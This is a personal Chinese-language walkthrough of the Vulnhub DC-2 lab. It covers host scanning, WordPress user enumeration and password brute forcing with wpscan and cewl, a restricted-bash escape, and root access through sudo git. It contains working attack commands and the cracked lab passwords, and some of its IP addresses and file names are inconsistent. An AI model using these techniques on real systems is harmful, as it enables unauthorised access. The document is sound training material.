Vulnhub DC2
前言:拖了很久才写完的,从上班拖到上班,其实早就可以写完了的,但是又想着去做别的事情一拖再拖,终于在这个周末决定把这个小尾巴解决,好去完成别的事情。
网络环境
Kali: 192.168.150.187
DC1: 192.168.150.209
二者均使用NAT模式连接;
主机发现
nmap扫描C段:
nmap 192.168.150.1/24
进一步扫描版本:
nmap -sV 192.168.150.219
再扫描端口:
nmap -T4 -A 192.168.150.219 -p 1-65535 -oN nmap132.AE
确认靶机IP地址为 192.169.150.219,并且开放了80和7744(ssh)端口。
flag1
访问靶机的80端口:
Kali识别不到dc-2的ip地址,修改host文件,添加dc-2:
vi /etc/hosts
重新访问靶机的80端口,发现这是一个WordPress搭建的站点,并且还有一个flag
得到flag1:
flag2
根据flag1提示需要登录才可以获取flag2,但是没有找到网站的登录点,使用dirb扫描网站目录:
dirb http://dc-2/
发现网站的登录入口:
使用wpscan(专用于扫描WordPress站点漏洞的工具)扫描该站点漏洞:
wpscan --url http://dc-2/ -e u
可以发现网站的三个用户: admin 、jerry、tom
将三个用户写入 dc-2users.dic:
vim dc-2users.dic
admin
jerry
tom
再使用cewl生成dc-2的密码字典dc-2.dic:
cewl dc-2 -w dc-2.dic
cat dc-2.dic
再使用wpscan爆破用户和口令:
wpscan --url dc-2 -U dc-2users.list -P dc-2.dic
#获取用户jerry和tom的口令:
jerry / adipiscingtom / parturient
使用jerry用户登录后台得到flag2:
flag3
flag2中提示如果无法利用WordPress的漏洞,还有别的方法可以用。
在之前试过用msf,但是没啥用(可能是用的方法不对)。根据收集到的信息来看,提示的应该是7744端口的ssh了,用之前爆破得到的jerry和tom测试连接,只有账号tom连接成功:
ls查看当前目录的文件,刚好有flag3,但是不能用cat命令,测试使用vi命令查看flag:
ls
cat flag3.txt
vi flag3.txt
flag4
flag4提示用su命令切换到jerry用户,但是su命令和之前的su命令一样用不了,查看tom用户可以使用的命令:
su jerry
echo $PATH
ls /home/tom/usr/bin
发现tom只能使用 less、ls、scp、vi命令,考虑使用echo命令绕过rbash(受限制的bash):
BASH_CMDS[a]=/bin/sh;a
$ export PATH=$PATH:/bin/
$ export PATH=$PATH:/usr/bin
此时常见命令基本都可以使用了,翻一下别的目录:
cd …
ls
cd jerry
ls
cat flag4.txt
flag5
根据flag4的提示,该还需要提权,而且大概还是是用git命令提权,拿到root权限才可以得到flag5。
查看当前用户具有root权限的命令:
find / -perm -4000 2>/dev/null
没有找到git命令,切换到jerry用户测试:
sudo -l
发现jerry用户可以使用git命令,尝试提权(到这已经不会了,看了大佬的wp):
sudo git help status
#直接输入 !/bin/bash
su root
提权成功,切换到root用户,查看最后一个flag:
cd /root
ls
cat final-flag.txt
到这里5个flag都找完就结束啦。
小结
本次过程可能写的有点乱,时间跨度有点大,脑子也不是很清醒,不过大致的思路和操作都了解了,可能写的不是那么好,不过可以从中学到一些新知识也不错啦,再接再厉~